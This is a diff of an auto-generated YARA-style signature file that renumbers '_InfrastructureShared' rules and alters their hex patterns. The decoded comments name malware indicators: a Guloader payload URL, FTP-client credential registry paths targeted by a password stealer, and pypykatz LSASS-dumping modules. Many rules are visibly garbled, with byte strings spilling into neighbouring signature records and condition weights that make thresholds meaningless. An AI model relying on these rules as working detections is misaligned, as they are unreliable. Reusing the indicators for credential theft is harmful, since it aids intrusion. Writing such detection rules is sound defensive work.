_InfrastructureShared_18334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204750,7 +218384,7 @@ rule _InfrastructureShared_17207{ ((#a_54_0 & 1)*18467+(#a_13_2 & 1)*2817+(#a_28_3 & 1)*7942) >=4 } -rule _InfrastructureShared_17208{ +rule _InfrastructureShared_18335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204763,7 +218397,7 @@ rule _InfrastructureShared_17208{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*23913+(#a_73_2 & 1)*21038+(#a_01_3 & 1)*28528) >=4 } -rule _InfrastructureShared_17209{ +rule _InfrastructureShared_18336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204775,7 +218409,7 @@ rule _InfrastructureShared_17209{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*0+(#a_04_3 & 1)*10) >=4 } -rule _InfrastructureShared_17210{ +rule _InfrastructureShared_18337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -204793,7 +218427,7 @@ rule _InfrastructureShared_17210{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24948+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_25_5 & 1)*0+(#a_61_6 & 1)*26988+(#a_53_7 & 1)*-32447+(#a_69_8 & 1)*29542) >=4 } -rule _InfrastructureShared_17211{ +rule _InfrastructureShared_18338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -204808,7 +218442,7 @@ rule _InfrastructureShared_17211{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28264+(#a_61_2 & 1)*27760+(#a_6e_3 & 1)*28245+(#a_00_4 & 1)*8192+(#a_5a_5 & 1)*16762) >=6 } -rule _InfrastructureShared_17212{ +rule _InfrastructureShared_18339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -204822,7 +218456,7 @@ rule _InfrastructureShared_17212{ ((#a_4c_0 & 1)*19747+(#a_7f_1 & 1)*-31968+(#a_2d_3 & 1)*2305+(#a_69_4 & 1)*8293+(#a_01_5 & 1)*26473) >=6 } -rule _InfrastructureShared_17213{ +rule _InfrastructureShared_18340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -204839,7 +218473,7 @@ rule _InfrastructureShared_17213{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*29216+(#a_61_2 & 1)*26209+(#a_4b_3 & 1)*29285+(#a_72_4 & 1)*385+(#a_01_5 & 1)*8704+(#a_6f_6 & 1)*29808+(#a_67_7 & 1)*28793) >=8 } -rule _InfrastructureShared_17214{ +rule _InfrastructureShared_18341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -204856,7 +218490,7 @@ rule _InfrastructureShared_17214{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*12654+(#a_66_2 & 1)*385+(#a_61_3 & 1)*29548+(#a_65_4 & 1)*25948+(#a_69_5 & 1)*26989+(#a_70_6 & 1)*27491+(#a_65_7 & 1)*13616) >=8 } -rule _InfrastructureShared_17215{ +rule _InfrastructureShared_18342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -204872,7 +218506,7 @@ rule _InfrastructureShared_17215{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*31080+(#a_65_2 & 1)*27513+(#a_65_3 & 1)*29806+(#a_32_5 & 1)*9217+(#a_70_6 & 1)*29264+(#a_00_7 & 1)*9592) >=8 } -rule _InfrastructureShared_17216{ +rule _InfrastructureShared_18343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -204885,12 +218519,12 @@ rule _InfrastructureShared_17216{ $a_00_5 = {08 } //28773 $a_6e_6 = {6f 64 69 6e 67 01 00 21 81 01 6e 62 30 63 32 32 31 35 36 66 37 30 65 34 32 39 31 38 64 63 36 38 39 32 65 64 32 64 64 65 30 30 65 01 00 25 81 01 24 66 37 33 64 62 38 64 63 2d 63 63 61 30 2d 34 65 65 39 2d 61 } //385 $a_2d_7 = {62 37 33 63 36 36 65 36 65 65 35 01 00 2e 81 01 4f 74 69 64 6e 63 6d 6a 6e 6f 63 64 69 77 6a 71 65 6f 7a 6c 6d 2e 58 79 7a 7a 68 6b 6e 65 6a 76 } //12853 - $a_6d_8 = {74 70 74 6b 65 71 65 61 62 01 00 0e 81 01 41 71 61 77 62 68 6a 72 6e 6a 64 75 6e 76 01 00 29 81 01 68 74 74 70 73 3a 2f 2f 62 6c 6c 31 30 2e 73 68 6f 70 2f 67 70 41 49 48 42 49 54 2f 51 6c 6e 78 61 64 6a 6a 75 2e 64 61 74 00 00 78 25 01 00 09 00 09 00 0d 00 21 23 48 53 54 52 3a 50 57 53 74 65 61 6c 65 72 00 01 00 15 } //28780 + $a_6d_8 = {74 70 74 6b 65 71 65 61 62 01 00 0e 81 01 41 71 61 77 62 68 6a 72 6e 6a 64 75 6e 76 01 00 29 81 01 68 74 74 70 73 3a 2f 2f 62 6c 6c 31 30 2e 73 68 6f 70 2f 67 70 41 49 48 42 49 54 2f 51 6c 6e 78 61 64 6a 6a 75 2e 64 61 74 00 00 78 25 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //28780 condition: ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*16719+(#a_34_2 & 1)*13101+(#a_2e_3 & 1)*25955+(#a_4d_4 & 1)*28257+(#a_00_5 & 1)*28773+(#a_6e_6 & 1)*385+(#a_2d_7 & 1)*12853+(#a_6d_8 & 1)*28780) >=9 } -rule _InfrastructureShared_17217{ +rule _InfrastructureShared_18344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -204901,14 +218535,32 @@ rule _InfrastructureShared_17217{ $a_81_3 = {4f 74 69 64 6e 63 6d 6a 6e 6f 63 64 69 77 6a 71 65 6f 7a 6c 6d 2e 58 79 7a 7a 68 6b 6e 65 6a 76 6c 70 6a 6d 67 74 70 74 6b 65 71 65 61 62 } //1 Otidncmjnocdiwjqeozlm.Xyzzhknejvlpjmgtptkeqeab $a_81_4 = {41 71 61 77 62 68 6a 72 6e 6a 64 75 6e 76 } //1 Aqawbhjrnjdunv $a_81_5 = {68 74 74 70 73 3a 2f 2f 62 6c 6c 31 30 2e 73 68 6f 70 2f 67 70 41 49 48 42 49 54 2f 51 6c 6e 78 61 64 6a 6a 75 2e 64 61 74 } //1 https://bll10.shop/gpAIHBIT/Qlnxadjju.dat - $a_25_6 = {00 09 00 09 00 0d 00 21 23 48 53 54 52 3a 50 57 53 74 65 61 6c 65 72 00 01 00 15 01 46 61 72 5c 50 6c 75 67 69 6e 73 5c 46 54 50 5c 48 6f 73 74 73 01 00 28 00 53 6f 66 74 77 61 72 65 5c 46 61 72 32 5c 53 61 76 65 64 44 69 61 6c 6f 67 48 69 73 74 6f 72 79 5c 46 54 50 48 6f 73 74 01 00 17 00 47 68 69 73 6c 65 72 5c 54 6f 74 61 6c 20 43 6f 6d 6d 61 6e 64 65 72 } //0 - $a_00_7 = {5c 47 6c 6f 62 61 6c 53 43 41 50 45 5c 43 75 74 65 46 54 50 } //1 \GlobalSCAPE\CuteFTP - $a_00_8 = {53 4f 46 54 57 41 52 45 5c 46 6c 61 73 68 46 58 50 5c 33 } //1 SOFTWARE\FlashFXP\3 + $a_25_6 = {00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4e 4e 30 31 21 4d 54 42 00 01 00 10 81 01 4c 65 75 6b 6f 63 79 74 68 65 6d 69 61 32 32 32 01 00 0b 81 01 74 79 76 65 62 61 6e 64 65 72 73 01 00 0f 81 01 73 75 70 65 72 73 69 6c 65 6e 74 2e 74 75 72 01 00 19 81 01 4b 6f 6d 6d 61 6e 64 6f 61 6b 74 69 6f 6e 65 72 6e 65 31 } //0 + $a_74_7 = {74 01 00 2b 81 01 73 6d 61 61 74 72 61 76 6c 20 73 65 6e 69 6f 72 73 74 69 70 65 6e 64 69 61 74 65 72 6e 65 73 20 61 6c 62 75 6d 6d 65 72 } //13109 + $a_01_8 = {00 22 81 01 73 75 72 66 72 69 64 65 72 6e 65 20 61 63 63 65 6c 65 72 61 74 69 6f 6e 73 62 61 6e 65 72 2e 65 78 65 01 00 24 81 01 66 6f 72 70 61 67 74 6e 69 6e 67 73 66 6f 72 68 6f 6c 64 20 6e 73 65 76 72 64 69 67 65 73 20 63 6f 7a 65 64 01 00 0a 81 01 66 61 72 76 65 66 61 73 74 65 01 00 12 81 01 63 79 6b 6c 61 6d 65 6e 66 61 72 76 65 74 2e 61 } //25966 condition: - ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_25_6 & 1)*0+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=9 + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_25_6 & 1)*0+(#a_74_7 & 1)*13109+(#a_01_8 & 1)*25966) >=9 } -rule _InfrastructureShared_17218{ +rule _InfrastructureShared_18345{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4e 4e 30 31 21 4d 54 42 00 01 00 10 81 01 4c 65 75 6b 6f 63 79 74 68 65 6d 69 61 32 32 32 01 00 0b 81 01 74 79 76 65 62 61 6e 64 65 72 73 01 00 0f 81 01 73 75 70 65 72 73 69 6c 65 6e 74 2e 74 75 72 } //18467 + $a_81_1 = {4b 6f 6d 6d 61 6e 64 6f 61 6b 74 69 6f 6e 65 72 6e 65 31 35 33 2e 74 78 74 } //1 Kommandoaktionerne153.txt + $a_81_2 = {73 6d 61 61 74 72 61 76 6c 20 73 65 6e 69 6f 72 73 74 69 70 65 6e 64 69 61 74 65 72 6e 65 73 20 61 6c 62 75 6d 6d 65 72 6e 65 73 } //1 smaatravl seniorstipendiaternes albummernes + $a_81_3 = {73 75 72 66 72 69 64 65 72 6e 65 20 61 63 63 65 6c 65 72 61 74 69 6f 6e 73 62 61 6e 65 72 2e 65 78 65 } //1 surfriderne accelerationsbaner.exe + $a_81_4 = {66 6f 72 70 61 67 74 6e 69 6e 67 73 66 6f 72 68 6f 6c 64 20 6e 73 65 76 72 64 69 67 65 73 20 63 6f 7a 65 64 } //1 forpagtningsforhold nsevrdiges cozed + $a_81_5 = {66 61 72 76 65 66 61 73 74 65 } //1 farvefaste + $a_81_6 = {63 79 6b 6c 61 6d 65 6e 66 61 72 76 65 74 2e 61 66 62 } //1 cyklamenfarvet.afb + $a_25_7 = {00 09 00 09 00 0d 00 21 23 48 53 54 52 3a 50 57 53 74 65 61 6c 65 72 00 01 00 15 01 46 61 72 5c 50 6c 75 67 69 6e 73 5c 46 54 50 5c 48 6f 73 74 73 01 00 28 00 53 6f 66 74 77 61 72 65 5c 46 61 72 32 5c 53 61 76 65 64 44 69 61 6c 6f 67 48 69 73 74 6f 72 79 5c 46 54 50 48 6f 73 74 01 00 17 00 47 68 69 73 6c 65 72 5c 54 6f 74 61 6c 20 43 6f 6d 6d 61 6e 64 65 72 } //0 + $a_00_8 = {5c 47 6c 6f 62 61 6c 53 43 41 50 45 5c 43 75 74 65 46 54 50 } //1 \GlobalSCAPE\CuteFTP + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_25_7 & 1)*0+(#a_00_8 & 1)*1) >=9 + +} +rule _InfrastructureShared_18346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0d 00 21 " @@ -204929,7 +218581,7 @@ rule _InfrastructureShared_17218{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*18176+(#a_74_2 & 1)*24440+(#a_61_3 & 1)*28530+(#a_65_4 & 1)*26739+(#a_64_5 & 1)*28514+(#a_65_6 & 1)*28521+(#a_65_8 & 1)*20993+(#a_00_9 & 1)*108+(#a_74_10 & 1)*27497+(#a_69_11 & 1)*24933+(#a_69_12 & 1)*29285) >=9 } -rule _InfrastructureShared_17219{ +rule _InfrastructureShared_18347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -204947,7 +218599,7 @@ rule _InfrastructureShared_17219{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*27694+(#a_73_2 & 1)*27747+(#a_62_3 & 1)*16982+(#a_79_4 & 1)*266+(#a_74_5 & 1)*28021+(#a_00_7 & 1)*115+(#a_67_8 & 1)*16942+(#a_67_9 & 1)*26990) >=10 } -rule _InfrastructureShared_17220{ +rule _InfrastructureShared_18348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -204965,7 +218617,7 @@ rule _InfrastructureShared_17220{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25971+(#a_00_3 & 1)*100+(#a_44_4 & 1)*385+(#a_53_5 & 1)*-32502+(#a_2e_6 & 1)*24937+(#a_6c_7 & 1)*29300+(#a_64_8 & 1)*29554+(#a_70_9 & 1)*3328) >=10 } -rule _InfrastructureShared_17221{ +rule _InfrastructureShared_18349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -204985,7 +218637,7 @@ rule _InfrastructureShared_17221{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_25_10 & 1)*0) >=11 } -rule _InfrastructureShared_17222{ +rule _InfrastructureShared_18350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 12 00 21 " @@ -205011,7 +218663,7 @@ rule _InfrastructureShared_17222{ ((#a_46_0 & 1)*21283+(#a_72_1 & 1)*25709+(#a_01_2 & 1)*25978+(#a_2e_3 & 1)*27763+(#a_2d_4 & 1)*11580+(#a_2d_5 & 1)*13869+(#a_32_6 & 1)*13622+(#a_6a_7 & 1)*29268+(#a_c9_8 & 1)*2833+(#a_0e_10 & 1)*1278+(#a_31_11 & 1)*385+(#a_65_12 & 1)*28530+(#a_00_13 & 1)*34+(#a_7b_14 & 1)*8801+(#a_6f_15 & 1)*29554+(#a_41_16 & 1)*8448+(#a_00_17 & 1)*55) >=15 } -rule _InfrastructureShared_17223{ +rule _InfrastructureShared_18351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -205023,7 +218675,7 @@ rule _InfrastructureShared_17223{ ((#a_54_0 & 1)*18467+(#a_3c_1 & 1)*13360+(#a_2d_2 & 1)*11568) >=3 } -rule _InfrastructureShared_17224{ +rule _InfrastructureShared_18352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -205035,7 +218687,7 @@ rule _InfrastructureShared_17224{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2322+(#a_fe_2 & 1)*1809) >=3 } -rule _InfrastructureShared_17225{ +rule _InfrastructureShared_18353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -205048,7 +218700,7 @@ rule _InfrastructureShared_17225{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_6f_2 & 1)*29554+(#a_41_3 & 1)*8448) >=3 } -rule _InfrastructureShared_17226{ +rule _InfrastructureShared_18354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -205061,7 +218713,7 @@ rule _InfrastructureShared_17226{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_09_2 & 1)*6544+(#a_2d_3 & 1)*31277) >=4 } -rule _InfrastructureShared_17227{ +rule _InfrastructureShared_18355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -205074,7 +218726,7 @@ rule _InfrastructureShared_17227{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*48+(#a_01_2 & 1)*-28561+(#a_0a_3 & 1)*2560) >=4 } -rule _InfrastructureShared_17228{ +rule _InfrastructureShared_18356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -205087,7 +218739,7 @@ rule _InfrastructureShared_17228{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*-29177+(#a_73_2 & 1)*29230+(#a_74_3 & 1)*28499) >=4 } -rule _InfrastructureShared_17229{ +rule _InfrastructureShared_18357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -205100,7 +218752,7 @@ rule _InfrastructureShared_17229{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*67+(#a_00_3 & 1)*99+(#a_65_4 & 1)*25710) >=4 } -rule _InfrastructureShared_17230{ +rule _InfrastructureShared_18358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -205114,7 +218766,7 @@ rule _InfrastructureShared_17230{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*23127+(#a_52_2 & 1)*28262+(#a_4a_3 & 1)*12618+(#a_72_4 & 1)*14930) >=5 } -rule _InfrastructureShared_17231{ +rule _InfrastructureShared_18359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -205124,7 +218776,7 @@ rule _InfrastructureShared_17231{ ((#a_54_0 & 1)*18467) >=6 } -rule _InfrastructureShared_17232{ +rule _InfrastructureShared_18360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -205139,7 +218791,7 @@ rule _InfrastructureShared_17232{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*14437+(#a_72_2 & 1)*23655+(#a_3d_3 & 1)*16695+(#a_00_4 & 1)*1+(#a_3a_5 & 1)*21587) >=6 } -rule _InfrastructureShared_17233{ +rule _InfrastructureShared_18361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -205154,7 +218806,7 @@ rule _InfrastructureShared_17233{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_00_2 & 1)*29706+(#a_6f_3 & 1)*1+(#a_2e_4 & 1)*30068+(#a_72_5 & 1)*8302) >=7 } -rule _InfrastructureShared_17234{ +rule _InfrastructureShared_18362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -205169,7 +218821,7 @@ rule _InfrastructureShared_17234{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8301+(#a_27_2 & 1)*-32491+(#a_75_3 & 1)*29505+(#a_6c_4 & 1)*21295+(#a_00_6 & 1)*5) >=7 } -rule _InfrastructureShared_17235{ +rule _InfrastructureShared_18363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -205181,7 +218833,7 @@ rule _InfrastructureShared_17235{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*76+(#a_00_4 & 1)*99) >=8 } -rule _InfrastructureShared_17236{ +rule _InfrastructureShared_18364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -205194,7 +218846,7 @@ rule _InfrastructureShared_17236{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108+(#a_00_3 & 1)*69+(#a_01_4 & 1)*2) >=8 } -rule _InfrastructureShared_17237{ +rule _InfrastructureShared_18365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -205211,7 +218863,7 @@ rule _InfrastructureShared_17237{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_72_2 & 1)*22273+(#a_73_3 & 1)*29230+(#a_2e_4 & 1)*25956+(#a_79_5 & 1)*23668+(#a_01_6 & 1)*24944+(#a_00_7 & 1)*66) >=8 } -rule _InfrastructureShared_17238{ +rule _InfrastructureShared_18366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -205228,7 +218880,7 @@ rule _InfrastructureShared_17238{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*31083+(#a_6e_2 & 1)*25959+(#a_00_3 & 1)*66+(#a_6f_4 & 1)*385+(#a_75_5 & 1)*29541+(#a_61_6 & 1)*29541+(#a_69_7 & 1)*25714) >=8 } -rule _InfrastructureShared_17239{ +rule _InfrastructureShared_18367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -205243,7 +218895,7 @@ rule _InfrastructureShared_17239{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29281+(#a_65_2 & 1)*29543+(#a_21_3 & 1)*14154+(#a_00_6 & 1)*400+(#a_90_7 & 1)*2826) >=8 } -rule _InfrastructureShared_17240{ +rule _InfrastructureShared_18368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -205257,7 +218909,7 @@ rule _InfrastructureShared_17240{ ((#a_54_0 & 1)*18467+(#a_b5_1 & 1)*28672+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_26_4 & 1)*0) >=9 } -rule _InfrastructureShared_17241{ +rule _InfrastructureShared_18369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -205270,26 +218922,12 @@ rule _InfrastructureShared_17241{ $a_01_5 = {70 79 70 79 6b 61 74 7a 2e 72 65 6d 6f 74 65 2e 6c 69 76 65 } //1 pypykatz.remote.live $a_01_6 = {70 79 70 79 6b 61 74 7a 2e 73 6d 62 2e 6c 73 61 73 73 75 74 69 6c 73 } //1 pypykatz.smb.lsassutils $a_01_7 = {70 79 70 79 6b 61 74 7a 2e 61 6c 73 61 64 65 63 72 79 70 74 6f 72 2e 6c 73 61 5f 64 65 63 72 79 70 74 6f 72 } //1 pypykatz.alsadecryptor.lsa_decryptor - $a_26_8 = {00 0a 00 0a 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 76 61 64 65 72 2e 50 47 45 21 4d 54 42 00 02 00 2f 01 67 6d 6f 20 70 73 31 32 65 78 65 20 2d 4c 69 73 74 41 76 61 69 6c 61 62 6c 65 20 2d 65 61 20 53 69 6c 65 6e 74 6c 79 43 6f 6e 74 69 6e 75 65 02 00 39 01 49 6e 73 74 61 6c 6c 2d 4d 6f 64 75 6c 65 20 70 73 31 32 65 78 65 20 2d 53 } //0 + $a_26_8 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 12 81 01 6d 69 6e 69 5f 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 15 81 01 43 6f 6e 76 65 72 74 53 69 64 54 6f 53 74 72 69 6e 67 53 69 64 01 00 33 81 01 43 6f 6e 76 65 72 74 53 74 72 69 6e 67 53 65 63 75 72 69 74 79 44 65 73 63 72 69 } //0 condition: ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_26_8 & 1)*0) >=9 } -rule _InfrastructureShared_17242{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 76 61 64 65 72 2e 50 47 45 21 4d 54 42 00 02 00 2f 01 67 6d 6f 20 70 73 31 32 65 78 65 20 2d 4c 69 73 74 41 76 61 69 6c 61 62 6c 65 20 2d 65 61 20 53 69 6c 65 6e 74 6c } //21539 - $a_6e_1 = {69 6e 75 65 02 00 39 01 49 6e 73 74 61 6c 6c 2d 4d 6f 64 75 6c 65 20 70 73 31 32 65 78 65 20 2d 53 63 6f 70 65 20 43 75 72 72 65 6e 74 55 73 65 72 20 2d 46 6f 72 63 65 20 2d 65 61 20 53 74 6f 70 03 00 17 01 24 4e 65 78 74 4e 75 6d 62 65 72 20 3d 20 24 4e 75 6d 62 65 72 2b 31 02 00 22 01 24 4e 65 78 74 53 63 72 69 70 74 20 3d 20 24 } //17273 - $a_58_2 = {73 63 72 69 70 74 2e 52 65 70 6c 61 63 65 01 00 48 01 24 4e 65 78 74 53 63 72 69 70 74 20 7c 20 70 73 31 32 65 78 65 20 2d 6f 75 74 70 75 74 46 69 6c 65 20 24 50 53 53 63 72 69 70 74 52 6f 6f 74 2f 24 4e 65 } //21328 - $a_75_3 = {62 65 72 2e 65 78 65 20 2a 3e 20 24 6e 75 6c 6c 00 00 78 26 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 12 81 01 6d 69 6e 69 5f 69 6e 73 74 61 6c 6c 65 } //29816 - $a_78_4 = {01 00 15 81 01 43 6f 6e 76 65 72 74 53 69 64 54 6f 53 74 72 69 6e 67 53 69 64 01 00 33 81 01 43 6f 6e 76 65 72 74 53 74 72 69 6e 67 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 54 6f 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 01 00 0c 81 01 43 72 79 70 74 45 6e 63 72 79 70 74 01 00 } //11890 - condition: - ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*17273+(#a_58_2 & 1)*21328+(#a_75_3 & 1)*29816+(#a_78_4 & 1)*11890) >=10 - -} -rule _InfrastructureShared_17243{ +rule _InfrastructureShared_18370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -205307,7 +218945,7 @@ rule _InfrastructureShared_17243{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25974+(#a_74_2 & 1)*25966+(#a_23_3 & 1)*10+(#a_6f_5 & 1)*385+(#a_39_6 & 1)*25648+(#a_62_7 & 1)*29809+(#a_54_8 & 1)*8502+(#a_61_9 & 1)*29811) >=10 } -rule _InfrastructureShared_17244{ +rule _InfrastructureShared_18371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -205325,7 +218963,7 @@ rule _InfrastructureShared_17244{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31073+(#a_6c_2 & 1)*385+(#a_01_3 & 1)*9472+(#a_52_4 & 1)*12851+(#a_01_5 & 1)*11520+(#a_61_6 & 1)*23655+(#a_6f_7 & 1)*29545+(#a_50_8 & 1)*10240) >=10 } -rule _InfrastructureShared_17245{ +rule _InfrastructureShared_18372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -205342,7 +218980,7 @@ rule _InfrastructureShared_17245{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*28257+(#a_63_2 & 1)*29793+(#a_20_3 & 1)*30060+(#a_00_4 & 1)*28515+(#a_00_6 & 1)*112+(#a_00_7 & 1)*80+(#a_00_9 & 1)*32) >=10 } -rule _InfrastructureShared_17246{ +rule _InfrastructureShared_18373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -205357,7 +218995,7 @@ rule _InfrastructureShared_17246{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115+(#a_00_3 & 1)*32+(#a_41_4 & 1)*19529+(#a_64_5 & 1)*26740+(#a_63_6 & 1)*12333) >=11 } -rule _InfrastructureShared_17247{ +rule _InfrastructureShared_18374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -205376,7 +219014,7 @@ rule _InfrastructureShared_17247{ ((#a_54_0 & 